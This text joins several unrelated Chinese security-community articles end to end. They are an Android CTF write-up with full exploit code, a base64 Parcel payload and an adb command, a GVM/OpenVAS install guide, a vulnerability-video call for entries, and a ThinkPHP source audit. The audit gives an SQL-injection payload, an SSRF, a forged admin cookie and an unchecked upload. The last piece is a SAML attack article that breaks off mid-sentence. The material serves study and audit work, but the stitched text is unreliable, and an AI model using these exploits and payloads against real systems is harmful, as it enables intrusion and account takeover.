this.measurementFrameNumber = in.readInt();
dest.writeInt(this.measurementFrameNumber);
this.successMeasurementFrameNumber = in.readInt();
dest.writeInt(this.successMeasurementFrameNumber);
this.frameNumberPerBurstPeer = in.readInt();
dest.writeInt(this.frameNumberPerBurstPeer);
this.status = in.readInt();
dest.writeInt(this.status);
this.measurementType = in.readInt();
dest.writeInt(this.measurementType);
this.retryAfterDuration = in.readInt();
dest.writeInt(this.retryAfterDuration);
this.ts = in.readLong();
dest.writeLong(this.ts);
this.rssi = in.readInt();
dest.writeInt(this.rssi);
this.rssiSpread = in.readInt();
dest.writeInt(this.rssiSpread);
this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);
this.rtt = in.readLong();
dest.writeLong(this.rtt);
this.rttStandardDeviation = in.readLong();
dest.writeLong(this.rttStandardDeviation);
this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);
这里我们能很明显注意到有两个变量在封包拆包过程中的操作类型出现了变化
this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);
this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);
然而因为字节对齐机制的存在，就算我们封包时使用的是`byte`，我们最后封入的还是`4`字节。
但是！如果我们将一个包，里面的某个成员， **以`long`形式拆包，再以`int`形式封包时，将产生`4`字节的数据丢失！**
### 调试并构造最终Exploit
接下来我们写一个`Send_data`函数尝试构造数据并发送
public void send_data(){
Parcel dest = Parcel.obtain();
Bundle bundle = new Bundle();
bundle.putParcelable("00",new Message(dest));
bundle.putString("command","getflag");
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
byte[] bytes = parcel.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.e("buffer",buffer);
Log.e("b64",new String(Base64.encode(bytes,0)).replace("n",""));
Intent intent = new Intent("com.example.de1ta.receiver1");
intent.putExtra("id",1);
intent.addFlags(0x01000000);
intent.putExtra("data",new String(Base64.encode(bytes,0)).replace("n",""));
sendBroadcast(intent);
}
然后我们可以在`logcat`窗口读取到我们发送的数据
接下来，我们就要来精心构造一下`payload`了，为了方便我们查看将被吞并的字节位置，我们定义一个无参构造函数：
public Message() {
this.bssid = "bssid";
this.burstNumber = 1;
this.frameNumberPerBurstPeer = 2;
this.measurementFrameNumber = 3;
this.measurementType = 4;
this.retryAfterDuration = 5;
this.rssi = 6;
this.rssiSpread = 7;
this.rtt = 8;
this.rttSpread = 9;
this.rttStandardDeviation = 10;
this.status = 11;
this.successMeasurementFrameNumber = 12;
this.ts = 13;
this.txRate = 0xff;
}
为了保证能触发字节吞并，我们必须保留`bundle.putParcelable("00",new
Message());`，接下来我们可以置入一个`Int`型数组，因为`Int`型数组的每个元素都是4字节长，有助于我们进行精准控制，那么，被吞并的将是`Int`型数组的前四个字节，我们控制完之后的结果就应该是：
然后经过第一次字节吞并
然后经过第二次字节吞并
这样看起来就可以通过验证了。
修改一下`MainActivity`的内容：
package com.example.de1ctf_broadcasttest;
import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Parcel;
import android.os.Parcelable;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
send_data();
}
public void send_data(){
Parcel dest = Parcel.obtain();
Bundle bundle = new Bundle();
bundle.putParcelable("00",new Message());
bundle.putIntArray("33",new int[]{0x12,0x18,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x10,0x11,0x12});
bundle.putString("7command","7command7getflag");
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
byte[] bytes = parcel.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.d("buffer",buffer);
Log.d("b64",new String(Base64.encode(bytes,0)).replace("n",""));
Intent intent = new Intent("com.example.de1ta.receiver1");
intent.putExtra("id",1);
intent.addFlags(0x01000000);
intent.putExtra("data",new String(Base64.encode(bytes,0)).replace("n",""));
sendBroadcast(intent);
}
static class Message implements Parcelable {
public Message() {
this.bssid = "bssid";
this.burstNumber = 1;
this.frameNumberPerBurstPeer = 2;
this.measurementFrameNumber = 3;
this.measurementType = 4;
this.retryAfterDuration = 5;
this.rssi = 6;
this.rssiSpread = 7;
this.rtt = 8;
this.rttSpread = 9;
this.rttStandardDeviation = 10;
this.status = 11;
this.successMeasurementFrameNumber = 12;
this.ts = 13;
this.txRate = 0xff;
}
public static final Parcelable.Creator<Message> CREATOR = new Parcelable.Creator<Message>() {
/* class com.de1ta.broadcasttest.MainActivity.Message.AnonymousClass1 */
public Message createFromParcel(Parcel in) {
return new Message(in);
}
public Message[] newArray(int size) {
return new Message[size];
}
};
String bssid;
public int burstNumber;
public int frameNumberPerBurstPeer;
public int measurementFrameNumber;
public int measurementType;
public int retryAfterDuration;
public int rssi;
public int rssiSpread;
public long rtt;
public long rttSpread;
public long rttStandardDeviation;
public int status;
public int successMeasurementFrameNumber;
public long ts;
public int txRate;
public Message(Parcel in) {
byte[] bytes = in.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.d("buffer",buffer);
Log.d("b64",new String(Base64.encode(bytes,0)).replace("n",""));
this.bssid = in.readString();
this.burstNumber = in.readInt();
this.measurementFrameNumber = in.readInt();
this.successMeasurementFrameNumber = in.readInt();
this.frameNumberPerBurstPeer = in.readInt();
this.status = in.readInt();
this.measurementType = in.readInt();
this.retryAfterDuration = in.readInt();
this.ts = in.readLong();
this.rssi = in.readInt();
this.rssiSpread = in.readInt();
this.txRate = in.readInt();
this.rtt = in.readLong();
this.rttStandardDeviation = in.readLong();
this.rttSpread = in.readLong();
}
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel dest, int i) {
dest.writeString(this.bssid);
dest.writeInt(this.burstNumber);
dest.writeInt(this.measurementFrameNumber);
dest.writeInt(this.successMeasurementFrameNumber);
dest.writeInt(this.frameNumberPerBurstPeer);
dest.writeInt(this.status);
dest.writeInt(this.measurementType);
dest.writeInt(this.retryAfterDuration);
dest.writeLong(this.ts);
dest.writeInt(this.rssi);
dest.writeInt(this.rssiSpread);
dest.writeByte((byte) this.txRate);
dest.writeLong(this.rtt);
dest.writeLong(this.rttStandardDeviation);
dest.writeInt((int) this.rttSpread);
}
}
}
运行，得到以下结果
payload即为
`gAEAAEJOREwDAAAAAgAAAAAAAAAAAAAABAAAADUAAABjAG8AbQAuAGUAeABhAG0AcABsAGUALgBkAGUAMQBjAHQAZgBfAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAFAAAAYgBzAHMAaQBkAAAAAQAAAAMAAAAMAAAAAgAAAAsAAAAEAAAABQAAAA0AAAAAAAAABgAAAAcAAAD/////CAAAAAAAAAAKAAAAAAAAAAkAAAADAAAAAwAAAAMAAAASAAAAEgAAABIAAAAYAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAAAkAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAVAAAABwAAAGMAbwBtAG0AYQBuAGQAAAAAAAAABwAAAGcAZQB0AGYAbABhAGcAAAA=`
我们向远端发起攻击时，需要使用`adb`方式：
adb shell am broadcast -n com.de1ta.broadcasttest/.MyReceiver1 -a com.de1ta.receiver1 -f 32 --es data gAEAAEJOREwDAAAAAgAAAAAAAAAAAAAABAAAADUAAABjAG8AbQAuAGUAeABhAG0AcABsAGUALgBkAGUAMQBjAHQAZgBfAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAFAAAAYgBzAHMAaQBkAAAAAQAAAAMAAAAMAAAAAgAAAAsAAAAEAAAABQAAAA0AAAAAAAAABgAAAAcAAAD/////CAAAAAAAAAAKAAAAAAAAAAkAAAADAAAAAwAAAAMAAAASAAAAEgAAABIAAAAYAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAAAkAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAVAAAABwAAAGMAbwBtAG0AYQBuAGQAAAAAAAAABwAAAGcAZQB0AGYAbABhAGcAAAA= --ei id 1
此处以`网易MuMu`模拟器为例，使用`adb kill-server && adb server && adb shell`启用`adb
shell`，并使用`logcat | grep De1ta`监听。
然后在另一终端使用以上命令
## 0x04 参考链接
[【原】Bundle风水——Android序列化与反序列化不匹配漏洞详解 – heeeeen](https://xz.aliyun.com/t/2364) | 社区文章 |
# Gvm漏洞管理框架（一）之安装与组成介绍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**0x00** **前言**
GVM漏洞管理框架是Greenbone Vulnerability
Manager的简称，是德国绿骨公司的漏洞管理框架（下文中将以GVM代指），它的前身是openvas扫描器。截至本文发布，绿骨公司还在对GVM的组件进行快速迭代和重命名，以后的一些名称可能会与现在的不同。
**一些重要的名称解释：**
GVM-libs：绿骨漏洞管理解决方案的库模块相互进行沟通的重要API
GVMD( **G** reenbone **V** ulnerability **M** anager **D** aemon)：管理守护进程
OSP( **O** pen **S** canner **P** rotocol)：是用于控制各种漏洞扫描器的XML格式通信协议
OSPD( **O** pen **S** canner **P** rotocol **D** aemon): 是通过OSP协议通信控制扫描器的框架
GMP( **G** reenbone **M** anagement **P**
rotocol)：一个基于XML的软件内部通信协议(通过该协议可以用来控制GVMD)
VTS( **V** ulnerability **T** est **s** )：漏洞测试
NVTS( **N** etwork **V** ulnerability **T** est **s** )：网络漏洞测试(nasl脚本)
GSA( **G** reenbone **S** ecurity **A** ssistant)：用于生成web界面，并为Web应用程序提供API
**本文将着重分析 GVM的三个主要模块（图中圈出部分）：**
**1.OpenVAS Scanner** **（下文将简称为 scan模块）：**
Scan模块是一个功能齐全的扫描引擎，可以针对目标系统执行漏洞测试(VT)。为此，它使用每日更新和全面的提要：全功能、广泛的商业绿骨安全提要(Greenbone
Security Feed)，或免费提供的绿骨社区提要(Greenbone Community Feed)。
Scan模块由组件ospd-openvas和openvas-scanner组成。scan模块由ospd-openvas通过一个基于XML的软件内部通信协议制（OSP）控制openvas-scanner，并将执行报告、扫描结果发送到管理后台程序（GVMD）。
Github项目地址：https://github.com/greenbone/openvas-scanner
**2.Greenbone** **漏洞管理器守护进程 (下文将简称为GVMD模块)：**
GVMD模块是中央服务，它整合普通漏洞扫描成一个完整的漏洞管理解决方案。GVMD通过开放扫描器协议(OSP)
控制scan模块。该服务本身提供基于XML的无状态Greenbone管理协议(GMP)。GVMD还控制一个SQL数据库(PostgreSQL)，所有配置和扫描结果数据都集中存储在其中。此外，GVMD还处理用户管理，包括对组和角色的权限控制。最后，该服务具有用于计划任务和其他事件的内部运行时系统。
Github项目地址：https://github.com/greenbone/gvmd
**3.GVM-libs** **：**
GVM-libs是绿骨漏洞管理解决方案的库模块。它用于绿骨安全管理器设备并提供各种功能来支持集成服务守护进程。简单来说GVM-libs是一个C库，提供XML解析和网络通信等基本功能是从源码部署时最先安装的模块。是其他GVM模块运行的重要依赖。它用于扫描器scan模块、管理进程GVMD模块和用于生成web界面的GSA模块之间。包括对redis知识库的操作都是在gvm-libs模块进行的。
Github项目地址：https://github.com/greenbone/gvm-libs
**4.GVM** **其他组成模块（这些模块在扫描器框架中占有重要角色但本文不做重点进行分析）：**
**绿骨安全助理 (GSA)**
GSA是GVM的一个用户控制扫描Web界面和访问与漏洞的信息。它是GVM用户的主要联系点。它通过Web服务器Greenbone Security
Assistant Daemon (GSAD)
连接到GVMD，以提供用于漏洞管理的全功能Web应用程序。使用绿骨管理协议(GMP)进行通信，用户也可以使用不同的工具直接与之通信。
**OSP** **扫描仪**
用户可以使用通用的OSPD扫描器框架开发和连接他们自己的OSP扫描器。可在此处找到可用作OSP扫描仪模板的（通用）OSP扫描仪示例。
**GMP** **客户端**
GVM工具是一个工具集与远程控制帮助绿骨安全管理器（GSM）设备及其基础绿骨漏洞管理器守护程序（GVMD）。这些工具有助于访问通信协议GMP（绿骨管理协议）和OSP（开放扫描协议）。该模块由交互式和非交互式客户端组成。交互式脚本直接支持编程语言Python。但也可以在不使用Python编程的情况下发出远程GMP/OSP命令。
**0x01** **安装踩坑**
GVM框架采用C语言进行编写，由于其采用了一些只有在linux中才可以使用的第三方库，所以目前GVM只可以在linux中安装使用。
**源码部署踩坑**
GVM在linux中的安装一般采用源码部署，源码可以从github中拉取，拉取时最好加个代理，我使用的是第三方代理工具ProxyChains。
参照手册： _https://greenbone.github.io/docs/gvm-21.04/index.html_
使用的主机Ubuntu-21.04
部署过程：
首先按照上方连接中的手册内容创建用户和组，并且要设置安装路径，期间若不报错应该就是没有问题。
之后可以导入Greenbone签名密钥，导入秘钥主要是为了验证下载的文件是原始文件。这里我选择导入秘钥，避免以后程序下载东西的时候需要校验。
GVM-libs中有一些很重要的依赖库，需要最先安装，按照手册中的内容复制粘贴应该是没有问题的，下载时可以使用curl命令-x参数添加代理设置。
源码部署完毕后按照手册将redis和postgresql配置好，将手册中的三个服务开启来就可以初始化使用了。
源码部署中的一些问题：
1.源码部署未完成时就重启设备后发现之前的设置都失效了：
重新安装手册中对安装路径、软件版本进行设置就可以解决。
2.按照手册中设置了相应的软件版本，但在下载时却报错404：
是指定的版本不存在导致的，去github上看一下现有的版本然后更改一下设置版本的位置export GVM_VERSION=XXXX。
3.安装GVMD时报错缺少libical >= 1.0.0：
是由于手册中的软件包名称与apt下载时名称不一致导致的，可以使用命令 apt-get Install libical-dev
解决。如果出现类似的错误可以到对应的github项目中的install.md里查看一下有没有特定需要的说明。
4.安装GVMD时报错缺少postgresql-server-dev-11：
可以按照postgresql官方导库方法 _https://www.postgresql.org/download/linux/ubuntu/_
导入软件库，之后apt 安装。
5.安装GSA时yarn版本错误：
可以参照 _https://classic.yarnpkg.com/en/docs/install#debian-stable_ 中的方法：
首先删除原有的yarn；
sudo apt remove yarn
按照参考配置软件库然后再使用下面命令进行安装。
sudo apt install yarn
6.在部署完毕后需要安装并启动postgresql，直接sudo apt install -y
postgresql下来的是最新版，与GVM漏洞管理框架所需的版本不符：
可以在apt下载时使用命令apt-get install postgresql-11指定所需要的11版本，不要直接使用文档里的命令。
7.在设置PostgreSQL 用户和数据库时会切换用户，在以非root用户操作创建用户时需要加 sudo 但并不知道用户postgres的密码：
需要先切换到root用户中设置一下linux用户postgres的密码。
**kali apt install** **踩坑**
GVM默认在kali的软件库中，在kali上只要apt-get install gvm -y 就可以进行安装，所依赖的环境会自动进行安装。
kali中apt安装时可能存在的一些问题：
kali自动安装时所安装的软件版本大多是最新的，版本与GVM所需要的版本不符合。需要先删除原有版本然后再下载所需要的版本即可。
比如我在kali-2021.3中使用apt自动下载GVM漏洞管理框架时所下载的postgresql版本不正确，无法使用。我首先尝试了apt
remove不正确的版本，但并不能清除干净依然无法使用。然后我又尝试了apt autoremove结果把一并安装的GVM也给删除了。
所以最后可以这样解决：
vim /etc/postgresql/13/main/postgresql.conf将侦听端口改为不是5432的端口vim
/etc/postgresql/14/main/postgresql.conf将侦听端口改为是5432的端口
kali中GVM整体的日志在/var/log/gvm/目录下。通过日志可以查看gvm当前进行了哪些操作出现了哪些错误，对研究其运行有很大的帮助。
**在 kali中初始化启动**
gvm-setup//会自动检测安装的软件是否正确，如果出现报错会将解决方案一并给出，可以按照给出的方案执行解决。runuser -u gvm —
gvmd –user=admin –new-password=admin //修改web界面密码为admin ###gvm-feed-update//更新特征库进一段时间不建议使用使用此命令在更新成功前会删除原有scan
标识等，会导致gvm无法使用（更新成功没有问题），最近绿骨公司服务器不太稳定（不用挂代理，使不了就是他们服务器挂了）
如果按照以上方法都不可以正常使用还可以通过docker拉取的方式使用，docker仓库中可以使用的很多，缺点是并不是很新。另外绿骨公司还有vmware和virtualbox版的虚拟机版本可以直接下载使用，缺点是无法像linux那样控制全部内容。
**0x02 Scan** **模块**
Scan模块是绿骨漏洞管理(GVM)解决方案的开放漏洞评估扫描器(OpenVAS)，所以现在很多人管这个scan模块叫做OpenVAS，它用于绿骨安全管理器设备，是一个功能齐全的扫描引擎，可以执行网络漏洞测试脚本(NVT)并且会持续更新该脚本库。scan模块主要包含redis数据库，VTS和SCAP三个部分。
1.redis数据库：
默认redis.sock路径为：/run/redis-openvas/redis-server.sock使用redis-cli -s/run/redis-openvas/redis-server.sock 对redis数据库进行连接
2.VTS（nasl脚本部分，部署GVM后默认没有，需要在gvm-setup的时候进行下载）
3.SCAP（SCAP漏洞关联信息，部署GVM后默认没有，需要在gvm-setup的时候进行下载）
重要文件的存储路径如下：
nasl脚本默认存放目录：/var/lib/openvas/pluginsscap-data默认存放目录：/var/lib/gvm/scap-data/
具体的文件结构列表可以查看镜像站：
_http://mirror.ufs.ac.za/misc/openvas-nvt-feed/_
http://mirror.ufs.ac.za/misc/openvas-scap-data/
在整套的GVM中scan模块不会单独使用而是使用web端的图形界面对scan模块进行控制，使用方便显示直观。但scan作为一个独立的模块可以单独运行。
scan模块官方预留的一些调试接口：
源码位置
|
接口说明
|
调用命令
---|---|---
openvas.c
|
可以在linux shell中使用命令 openvas 调用
|
可以在linux shell中使用命令 openvas 调用
nasl.c
|
GVM scan模块预留的可以对nasl进行调试的接口，可以单独使用
|
在linux shell中使用命令 openvas-nasl 调用
nasl_lint.c
|
针对nasl脚本语言的一种静态代码分析工具
|
在linux shell中使用命令 openvas-nasl-lint 调用
**0x03 GVMD** **模块**
GVMD管理漏洞的配置信息和扫描的结果。通过基于XML的绿骨管理协议(GMP)提供对数据、控制命令和工作流程的访问。通过开放扫描器协议(OSP)控制OpenVAS
_（上文中的 scan模块）_扫描器。
GVMD包含一个postgresql数据库用来存放用户输入的信息、测试完成的结果、脚本的信息、漏洞与应用关联的信息，一套证书机制（用来将所有与GVMD进行的通信使用TLS加密以及进行身份验证和授权），一套脚本更新机制进行更新SCAP漏洞信息以及nasl脚本，和供其他工具模块连接的套接字接口。
如果是在kali中直接apt-get
gvm则无法知道postgresql数据库的密码，可以通过如下命令对数据库密码进行修改：（登录到数据库是为了方便观察GVM漏洞管理框架中数据库所存储数据的内容，更改数据库的密码并不会影响GVM漏洞管理框架的运行）
root@kali:/home/user# sudo -u postgres bashpostgres@kali:/home/user$ psql
gvmdpsql (14.0 (Debian 14.0-1))输入 “help” 来获取帮助信息.gvmd=#ALTER USER postgres
WITH PASSWORD ‘postgres’;
GVMD模块预留的一些接口：
源码位置
|
接口说明
|
调用命令
---|---|---
gvmd.c
|
管理进程的入口，其中可使用的功能包括设置web界面的管理用户及密码，更新脚本和漏洞信息，设置资源所有者，设置日志信息，设置等.
|
可以在linux shell中使用命令 gvmd 调用
gvm-manage-certs
|
负责进行证书的管理
|
可以在linux shell中使用命令gvm-manage-certs调用
gvm-feed-update
|
负责对网络测试脚本，漏洞库进行更新
|
在linux shell中使用命令 gvm-feed-update 调用
**0x04 GVM web** **界面介绍**
GVM漏洞管理框架web界面由GSA模块生成，GSA(Greenbone Security
Assistant)是基于React框架开发的web界面，使用GMP软件内部协议与后台GVMD进行通信。GVM web界面默认开启端口：9392
https协议，只可以本机访问。可以更改/lib/systemd/system/greenbone-security-assistant.service配置文件中的信息改变监听ip和端口。
创建扫描任务步骤如下：
1.登录web页面，依次点击【scans】【tasks】【新建任务按钮】
2.在new task中可以添加扫描信息，这里的Min QoD会决定之后生成的报告中显示的数量
3.添加目标主机信息处可以指定IP地址端口以及登录凭证。这里支持SSH、SMB、ESXi、SNMP
4.最后点击【save】进行保存
这些信息将会被写入GVMD模块控制的postgresql数据库的数据public结构中。添加完毕后可以在底部看到新增的扫描，之后可以开始进行扫描。扫描器需要一段时间进行准备，之后就会开始扫描进程。
当扫描结束时生成的扫描报告分为这几个部分：
1.Results字段中存放漏洞信息，这里注意有一个124 of
162代表一共从162份报告中挑选了124份进行显示。报告的挑选与之前在添加目标时选择的min QoD有关。
具体内容将在以后的文章中进行讲解
请持续关注本公众号！
2.Hosts字段中存放主机信息，Auth字段的小盾牌代表远程登录成功。
3.此外还有端口信息、主机安装的应用（以CPE的方式进行显示可以点击链接对该CPE进行漏洞关联）。
4.操作系统信息也会使用CPE来表示、CVEs为漏洞编号与描述、closed
CVEs是在初始扫描时探测到可能的漏洞但在后续的探测中发现应该不存在此漏洞、TLS信息、报错信息和用户标签。
**0x05** **参考链接**
https://greenbone.github.io/docs/architecture.html
https://greenbone.github.io/docs/glossary.html#term-VT
https://docs.greenbone.net/GSM-Manual/gos-20.08/en/index.html
https://greenbone.github.io/docs/gvm-21.04/index.html
https://www.postgresql.org/download/linux/ubuntu/
https://classic.yarnpkg.com/en/docs/install#debian-stable
[https://blog.csdn.net/qq_40846669/article/details/119034841](https://blog.csdn.net/qq_40846669/article/details/119034841)
更多技术文章，微信公众号搜索“云影实验室”。
顺便插下招聘广告，安全研究员1名和安全开发工程师1名，有意者可以私信公众号。 | 社区文章 |
## 活动简介
开始时间：待定
活动内容：征集指定的漏洞类型的利用+危害视频，要求有字幕，不出现人声。要求选取典型的该类型漏洞，清晰的展现出该类型漏洞能造成的危害（对具有基本计算机技能的观看者而言）。
## 奖励规则：
1.征集概念阶段，只要提交一份完整的概念说明即可获得奖励100元。每人每漏洞类型限3个。
2.视频制作阶段，奖励视该类型漏洞难度和视频制作水平而定（不低于 **1000** 元）
## 视频要素：
1.漏洞利用前提（展示加上字幕解释）
2.漏洞利用过程（字幕解释）
3.漏洞利用后的危害（选取典型利用场景下可能造成的典型危害）
视频长度-建议2分钟以内，特殊情况请在概念稿提交后与管理员沟通。
字幕制作方法-如果不清楚字幕制作方法请与管理员沟通。
## 任务发放规则
1.管理员宣布征集目标漏洞类型
2.白帽们针对该类型向管理员提交自己认为可以制作的具体漏洞名称，以及上述三要素的概念说明。此过程持续一周
3.管理员从上述步骤提交中进行筛选，选择最合适制作视频的漏洞并和概念稿的提交者进行密切交流，该概念简介的提交者开始制作视频。
## 提交方法：
1.概念说明的提交：
请在先知如之前一样提交，厂商选择 xz漏洞视频征集
2.最终视频的提交：
由于先知不支持上传视频，请分两部分提交。
（1）在先知如之前一样提交，记得加标签[视频内容]，标注好欲提交的视频文件名字。
（2）单独给管理员@方明，发送制作的视频。（一定要在先知里先提交不然没有记录可查）。
## 当前在征集的漏洞类型：
代码执行
拒绝服务
敏感信息泄露
权限提升/跨越
#### 参与方式 钉钉群：11722263 | 社区文章 |
# 前言：
在资源搜索网盘下载到了这套源码，决定拿它练下手
分析一下代码的逻辑，加深对一些常见漏洞的理解。如果有什么不对的地方，欢迎师傅们指出。
源码是基于thinkphp5+mysql开发
# 前台SQL注入
漏洞位置 \application\index\controller\Goods.php
public function ajaxkdata()
{
//获取k线图数据，转化为array
$pid = input('param.pid');
$data = Db::name('productdata')->where('pid='.$pid)->find();
$newdata = array();
if($data){
$data['UpdateTime'] = $data['UpdateTime'];
$newdata[0]['price'] = $data['Price'];
$newdata[0]['open'] = $data['Open'];
$newdata[0]['close'] = $data['Close'];
$newdata[0]['lowest'] = $data['Low'];
$newdata[0]['highest'] = $data['High'];
$newdata[0]['time'] = $data['UpdateTime'].'000';
$newdata[0]['fulltime'] = date('Y-m-d H:i:s',$data['UpdateTime']);
$newdata[0]['goodtime'] = date('Y-m-d H:i:s',$data['UpdateTime']);
}
return $newdata;
}
$pid变量用input，拼接进了where查询，造成注入
payload:
> SELECT * FROM `xxxx` WHERE ( pid=1) and
> updatexml(1,concat(0x7e,user(),0x7e),1) # ) LIMIT 1
# SSRF
漏洞位置 \application\index\controller\Api.php
public function post_curl($url,$data){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
if (curl_errno($ch)) {
print curl_error($ch);
}
curl_close($ch);
return $result;
}
这是典型的SSRF漏洞，代码没有过滤将传入的url值带入curl_exec函数造成SSRF
漏洞验证：
# 管理后台登录凭证伪造
漏洞位置 \application\admin\controller\Base.php
可以看到先是判断有没userid值，然后判断token是不是'nimashabi'用MD5加密的值
这里在检测otype是否等于3
otype userid的值可以在数据库中得到，这样就可以构造COOKIE进行登录后台
payload:
> think_var=zh-> cn;denglu=think:{"otype":"3","userid":"1","token":"3c341b110c44ad9e7da4160e4f865b63"}
# 后台任意文件上传
漏洞位置 \application\admin\controller\Setup.php
public function editconf()
{
if($this->otype != 3){
echo '死你全家!';exit;
}
if(input('post.')){
$data = input('post.');
foreach ($data as $k => $v) {
$arr = explode('_',$k);
$_data['id'] = $arr[1];
$_data['value'] = $v;
$file = request()->file('pic_'.$_data['id']);
if($file){
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
if($info){
$_data['value'] = '/public' . DS . 'uploads/'.$info->getSaveName();
}
}
if($_data['value'] == '' && isset($arr[2]) && $arr[2] == 3){
continue;
}
Db::name('config')->update($_data);
}
cache('conf',null);
$this->success('编辑成功');
}
}
跟进file()函数
public function file($name = '')
{
if (empty($this->file)) {
$this->file = isset($_FILES) ? $_FILES : [];
}
if (is_array($name)) {
return $this->file = array_merge($this->file, $name);
}
$files = $this->file;
if (!empty($files)) {
// 处理上传文件
$array = [];
foreach ($files as $key => $file) {
if (is_array($file['name'])) {
$item = [];
$keys = array_keys($file);
$count = count($file['name']);
for ($i = 0; $i < $count; $i++) {
if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
continue;
}
$temp['key'] = $key;
foreach ($keys as $_key) {
$temp[$_key] = $file[$_key][$i];
}
$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
}
$array[$key] = $item;
} else {
if ($file instanceof File) {
$array[$key] = $file;
} else {
if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
continue;
}
$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
}
}
}
if (strpos($name, '.')) {
list($name, $sub) = explode('.', $name);
}
if ('' === $name) {
// 获取全部文件
return $array;
} elseif (isset($sub) && isset($array[$name][$sub])) {
return $array[$name][$sub];
} elseif (isset($array[$name])) {
return $array[$name];
}
}
return;
}
可以看到处理上传文件并没有过滤，最终上传的文件move到/public/uploads/目录下。 | 社区文章 |
# SAML 漏洞的发现与利用
|
##### 译文声明
本文是翻译文章，文章来源：anitian.com
原文地址：<https://www.anitian.com/blog/owning-saml/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在最近的Web应用程序测试中，我发现了Security Assertion Markup
Language（SAML）实现中的一个漏洞。这个漏洞涉及SAML功能以及客户根据支持其客户的需求开发的自定义身份验证机制。通过一些技巧，我们演示了如何将这些不安全的配置组合成一个复杂的钓鱼攻击，使攻击者能够访问精心设计钓鱼页面。
## 应用概述
客户的Web应用程序允许客户创建简单的Web页面和Web表单。客户使用该应用程序从用户收集信息，并将其作为包含人力资源文档和其他潜在敏感材料的门户。客户以各种方式保护这些页面。例如，他们只允许访问授权用户的密码保护页面。该应用程序还支持使用SAML进行单点登录（SSO）。所以测试这些身份验证机制很重要。
## 验证功能
我使用管理员帐户创建了一个简单的页面。然后我添加了一些基本的文本内容，上面写着“If you can see this, good for
you”最后，我改变了配置，要求进行SSO认证。我将页面命名为“samlpage”并保存设置，这会生成一个新的URL：
`https://clientwebsite.com/samlpage`
在使用未经身份验证会话加载页面时，我收到以下消息。
几秒钟后，页面重定向到我们的单点登录页面。Anitian安装的SimpleSAMLphp提供SAML身份程序（IDP），专门用于测试SAML实现。该网页将我重定向到以下登录。
密码不正确无法通过身份验证，我仍然卡在登录页面上。如果我输入了有效的凭据，我会被重定向回我们客户的应用程序。经过几次重定向后，我通过了应用程序验证，现在可以访问受SAML保护的页面了。
基本功能按预期工作。我使用Burpsuite的[SAMLRaider](https://github.com/SAMLRaider/SAMLRaider)插件，用它做一些标准测试，比如签名修改。在我的分析过程中，大多数基本的SAMLRaider测试都失败了。我确实发现了从IDP向客户端应用程序或服务提供商（SP）重放SAML响应的能力。SAML响应仅对单次使用有效。在此测试期间，重复接受响应，从而在同一用户帐户下生成多个有效会话。如果攻击者拦截SAML响应，他们可以打开自己的会话并绕过身份验证。此攻击类似于获取用户密码，但更糟糕的是黑客可以绕过IDP可能使用的多因素身份验证机制。
我深入研究了在SP和IDP之间来回传递的SAML流量。当SP将用户重定向到IDP进行身份验证时，GET参数包括SAML断言的单个参数和名为`RelayState`的第二个参数。
此`RelayState`参数包含指向客户端应用程序中的页面的URL。从URL解码转换后，是这样的：
`https://clientwebsite.com/samlpage?sp_id=73`
这是我创建的受保护页面的URL，但它包含一个名为`“sp_id”`的额外参数.SP在其自己的参数中将此URL发送到IDP。登录到IDP后，用户将被重定向回SP（我们的客户端）。IDP再次将SAML响应与`RelayState`参数一起发送回SP，该参数未改变并有效地回送给SP。
SAML响应已发布到`sso/saml/acs/73`页面，用户被重定向到`/samlpage`上的受保护页面。
如果您查看Burp日志，您将看到SAML响应（紫色线）。下一个请求是针对受保护资源的，这与`RelayState`参数中的URL类似，但不是这样：
`https://clientwebsite.com/samlpage?sp_id=73`
而是这样的：
`https://clientwebsite.com/samlpage?saml_token=<really long string>`
我无法解码`saml_token`参数，但根据名称，它看起来很重要。我想也许它被用来允许访问受保护的samlpage页面。作为测试，我使用`long
